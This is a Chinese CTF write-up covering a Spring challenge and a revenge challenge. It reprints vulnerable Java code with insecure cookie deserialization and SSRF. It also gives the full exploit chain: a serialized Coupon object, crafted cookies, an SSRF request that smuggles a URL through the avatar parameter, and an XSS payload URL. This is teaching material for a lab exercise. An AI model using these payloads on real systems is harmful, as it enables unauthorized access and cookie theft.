public class UserController extends ExceptionHandlers {
private UserService userService;
public UserController(UserService userService) {
super();
this.userService = userService;
}
@GetMapping("")
public ResponseEntity<User> get(
HttpServletRequest request) throws Exception {
String session = getSession(request);
User user = userService.getUserBySession(session);
if (user == null) {
return null;
}
user.setPassword(null);
return new ResponseEntity<>(user, HttpStatus.OK);
}
@GetMapping("/flag")
public ResponseEntity<String> getFlag(
HttpServletRequest request) throws Exception {
String flag = "You need to subscribe to get the flag.";
String session = getSession(request);
User user = userService.getUserBySession(session);
if (user == null) {
return new ResponseEntity<>(flag, HttpStatus.OK);
}
if (user.getSubscribed()) {
flag = new Flag().getFlag();
}
return new ResponseEntity<>(flag, HttpStatus.OK);
}
@PostMapping("/logout")
public void logout(
HttpServletResponse response) throws Exception {
ResponseCookie cookie = ResponseCookie.from("user", "")
.maxAge(Duration.ofSeconds(0))
.path("/")
.build();
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
}
@PostMapping("register")
public void register(
@Valid @RequestBody User user,
@RequestParam(value = "avatar", defaultValue = "ui-avatars.com") String avatarProvider) throws Exception {
try {
String avatar = userService.getAvatar(avatarProvider, user.getUsername());
user.setAvatar(avatar);
} catch (Exception e) {
}
userService.register(user);
}
@PostMapping("login")
public ResponseEntity<User> register(
@Valid @RequestBody User user,
HttpServletResponse response) throws Exception {
User newUser = userService.login(user, response);
newUser.setPassword(null);
return new ResponseEntity<>(newUser, HttpStatus.CREATED);
}
@PostMapping("refresh")
public void refresh(HttpServletRequest request) throws Exception {
Cookie[] cookies = request.getCookies();
Cookie userCookie = null;
for (Cookie cookie : cookies) {
if (cookie.getName().equals("user")) {
userCookie = cookie;
break;
}
}
userService.refresh(userCookie.getValue());
}
private String getSession(HttpServletRequest request) {
Cookie[] cookies = request.getCookies();
Cookie userCookie = null;
if (cookies != null) {
for (Cookie cookie : cookies) {
if (cookie.getName().equals("user")) {
userCookie = cookie;
break;
}
}
}
if (userCookie == null)
return null;
return userCookie.getValue();
}
}
CouponController
package com.app.controllers;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.net.InetAddress;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import com.app.caching.Coupon;
import com.app.services.CouponService;
import com.app.utils.ExceptionHandlers;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.validation.Valid;
@RestController
@CrossOrigin()
@RequestMapping("/api/coupon")
public class CouponController extends ExceptionHandlers {
private CouponService couponService;
public CouponController(CouponService couponService) {
super();
this.couponService = couponService;
}
@RequestMapping("/{id}")
public ResponseEntity<Coupon> get(
@PathVariable("id") String id,
HttpServletRequest request) {
validateOrigin(request);
Coupon todo = couponService.getCouponById(id);
return new ResponseEntity<>(todo, HttpStatus.OK);
}
@RequestMapping("/generate/{code}")
public ResponseEntity<Coupon> create(
@Valid @PathVariable String code,
HttpServletRequest request) throws Exception {
validateOrigin(request);
Coupon newCoupon = couponService.createCoupons(code);
return new ResponseEntity<>(newCoupon, HttpStatus.CREATED);
}
@RequestMapping("/use/{id}")
public void create(
@Valid @PathVariable String id,
@RequestParam(value = "userId", defaultValue = "0") String userId,
HttpServletRequest request) throws Exception {
validateOrigin(request);
couponService.useCoupon(id, userId);
}
private void validateOrigin(HttpServletRequest request) {
try {
InetAddress requestAddress = InetAddress.getByName(request.getRemoteAddr());
String uri = requestAddress.toString().split("/")[1];
boolean isLocalhost = uri.equals("127.0.0.1");
if (isLocalhost) {
return;
} else {
throw new Exception("Not allowed");
}
} catch (Exception e) {
System.out.println(e);
throw new RuntimeException(e);
}
}
}
UserServiceImpl
package com.app.services;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;
import com.app.caching.Cached;
import com.app.entities.User;
import com.app.exceptions.ResourceNotFoundException;
import com.app.repositories.UserRepository;
import com.app.services.Security;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletResponse;
import java.net.HttpURLConnection;
import java.net.URL;
@Service
public class UserServiceImpl implements UserService {
private UserRepository userRepository;
@Autowired
private CachedService cachedService;
@Bean
public PasswordEncoder encoder() {
return new BCryptPasswordEncoder();
}
public UserServiceImpl(UserRepository userRepository) {
super();
this.userRepository = userRepository;
}
@Override
public User getUserById(String id) {
Long longId = Long.parseLong(id);
User existingUser = userRepository
.findById(longId)
.orElseThrow(() -> new ResourceNotFoundException(
"user not found with id: " + id));
return existingUser;
}
@Override
public User getUserBySession(String session) throws Exception {
if (session == null) {
return null;
}
try {
byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
ObjectInputStream ois = new Security(bis);
Object o = ois.readObject();
com.app.caching.User obj = (com.app.caching.User) o;
return getUserById(obj.getId());
} catch (Exception e) {
return null;
}
}
@Override
public String getAvatar(String provider, String username) throws Exception {
String avatarUrl = "http://%s/api/%s";
avatarUrl = String.format(avatarUrl, provider, username);
try {
URL url = new URL(avatarUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("GET");
InputStream inputStream = con.getInputStream();
byte[] bytes = inputStream.readAllBytes();
byte[] encoded = Base64.getEncoder().encode(bytes);
String encodedString = new String(encoded);
if (encodedString.length() == 0)
return avatarUrl;
return encodedString;
} catch (Exception e) {
e.printStackTrace();
throw new Exception(e.getMessage());
}
}
@Override
public void register(User user) throws Exception {
user.setPassword(encoder().encode(user.getPassword()));
List<User> existing = userRepository.findByUsername(user.getUsername());
if (existing.size() > 0) {
throw new Exception("User already exists");
}
User created = new User();
created.setUsername(user.getUsername());
created.setPassword(user.getPassword());
created.setAvatar(user.getAvatar());
userRepository.save(created);
}
@Override
public User login(User user, HttpServletResponse response) throws Exception {
List<User> existing = userRepository.findByUsername(user.getUsername());
if (existing.size() == 0) {
throw new Exception("User does not exist");
}
User created = existing.get(0);
if (!encoder().matches(user.getPassword(), created.getPassword())) {
throw new Exception("Password is incorrect");
}
com.app.caching.User object = new com.app.caching.User(
created.getId().toString(),
created.getUsername(),
created.getAvatar());
Cached cached = new Cached(
"user:" + created.getId().toString(),
object);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
oos.close();
byte[] bytes = baos.toByteArray();
byte[] encoded = Base64.getEncoder().encode(bytes);
String encodedString = new String(encoded);
Cookie cookie = new Cookie("user", encodedString);
cookie.setPath("/");
response.addCookie(cookie);
cachedService.save(cached);
return created;
}
@Override
public void refresh(String session) throws Exception {
byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
ObjectInputStream ois = new Security(bis);
Object o = ois.readObject();
com.app.caching.Blueprint obj = (com.app.caching.Blueprint) o;
Cached cached = new Cached(
obj.getId().toString(),
o);
cachedService.save(cached);
}
@Override
public User updateUser(User user) {
User existingUser = userRepository
.findById(user.getId())
.orElseThrow(() -> new ResourceNotFoundException(
"user not found with id: " + user.getId()));
if (user.getUsername() != null)
existingUser.setUsername(user.getUsername());
if (user.getPassword() != null)
existingUser.setPassword(encoder().encode(user.getPassword()));
return userRepository.save(existingUser);
}
@Override
public User deleteUser(Long id) {
User existingUser = userRepository
.findById(id)
.orElseThrow(() -> new ResourceNotFoundException(
"user not found with id: " + id));
userRepository.delete(existingUser);
return existingUser;
}
}
CouponServiceImpl
package com.app.services;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
import com.app.caching.Cached;
import com.app.caching.Coupon;
import com.app.entities.User;
@Repository
public class CouponServiceImpl implements CouponService {
@Autowired
private CachedService cachedService;
@Autowired
private UserService userService;
@Override
public Coupon getCouponById(String id) {
Cached cached = cachedService.one("coupon:" + id);
if (cached == null) {
return null;
}
return (Coupon) cached.getValue();
}
@Override
public Coupon createCoupons(String code) throws Exception {
Coupon existing = getCouponById(code);
if (existing != null) {
throw new Exception("Coupon already exists");
}
Coupon coupon = new Coupon(code, code);
cachedService.save(new Cached("coupon:" + coupon.getId(), coupon));
return coupon;
}
@Override
public void useCoupon(String id, String userId) throws Exception {
User u = userService.getUserById(userId);
if (u == null) {
throw new Exception("User not found");
}
Coupon coupon = getCouponById(id);
if (coupon == null) {
throw new Exception("Coupon not found");
}
if (!coupon.getIsValid()) {
throw new Exception("Coupon is not valid");
}
u.setSubscribed(true);
userService.updateUser(u);
}
}
CacheServiceImpl
package com.app.services;
import java.util.ArrayList;
import java.util.List;
import org.springframework.data.redis.core.HashOperations;
import org.springframework.stereotype.Repository;
import com.app.caching.Cached;
import jakarta.annotation.Resource;
@Repository
public class CachedServiceImpl implements CachedService {
private final String hashReference = "Cached";
@Resource(name = "redisTemplate")
private HashOperations<String, String, Cached> hashOperations;
@Override
public void save(Cached cached) {
hashOperations.put(cached.getId(), hashReference, cached);
}
@Override
public Cached one(String id) {
return hashOperations.get(id, hashReference);
}
}
另外题目中存在一些 Bean, 关系如下

其实也没啥好说的, 理清楚各个功能之间的关系就行
首先注册一个用户, 拿到该用户的 ID, 然后以这个 ID 构造一个 Coupon, 通过 refresh 路由反序列化 Cookie, 将 Coupon 存入 Redis
然后通过 SSRF 使用该 Coupon, 将该用户的 subscribe 属性设置为 true, 最后访问 flag 路由即可拿到 flag
构造 Coupon
package com.app;
import com.app.caching.Coupon;
import com.app.caching.User;
import java.util.Base64;
public class Demo {
public static void main(String[] args) throws Exception {
Coupon coupon = new Coupon("coupon:2", "2");
coupon.setValid(true);
byte[] data1 = Serialization.serialize(coupon);
System.out.println(Base64.getEncoder().encodeToString(data1));
User user = new User("1", "test", "123");
byte[] data2 = Serialization.serialize(user);
System.out.println(Base64.getEncoder().encodeToString(data2));
}
}
注册
POST /api/user/register HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 37
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
{"username":"test","password":"test"}
refresh
POST /api/user/refresh HTTP/1.1
Host: 127.0.0.1:9000
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: user=rO0ABXNyABZjb20uYXBwLmNhY2hpbmcuQ291cG9uAAAAAAAAAAECAAJaAAdpc1ZhbGlkTAAEY29kZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hyABljb20uYXBwLmNhY2hpbmcuQmx1ZXByaW50AAAAAAAAAAECAAFMAAJpZHEAfgABeHB0AAhjb3Vwb246MgF0AAEy;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
SSRF
POST /api/user/register?avatar=127.0.0.1:9000/api/coupon/use/2?userId=1%26?x= HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 37
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
{"username":"test","password":"test"}
get flag
GET /api/user/flag HTTP/1.1
Host: 127.0.0.1:9000
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: user=rO0ABXNyABRjb20uYXBwLmNhY2hpbmcuVXNlcgAAAAAAAAABAgACTAAGYXZhdGFydAASTGphdmEvbGFuZy9TdHJpbmc7TAAIdXNlcm5hbWVxAH4AAXhyABljb20uYXBwLmNhY2hpbmcuQmx1ZXByaW50AAAAAAAAAAECAAFMAAJpZHEAfgABeHB0AAExdAA0ZXlKcFpDSTZJakVpTENKamIyUmxJam9pTVNJc0ltbHpWbUZzYVdRaU9tWmhiSE5sZlE9PXQABHRlc3Q=;
Connection: close
revenge *
题目来源于 Balsn CTF 2023 1linenginx
https://gist.github.com/arkark/32e1a0386360fe5ce7d63e141a74d7b9
XSS
http://10.4.96.121:8080/?q=,&msg=<script>alert(0)</script>
思路是通过 PostgreSQL 注入写文件, 然后配合 nginx 请求走私构造 XSS 拿到 proxy.local 中的 cookie (flag)
不过听说还有个更简单的解法, 虽然 cookie 的 Domain 为 proxy.local, 但是实际上这个 Domain 不区分端口, 所以使用 proxy.local:8080 就能访问到最开始的 flask 网站, 配合 XSS 直接就可以拿到 flag
有时间再复现
messydriver *
有时间再复现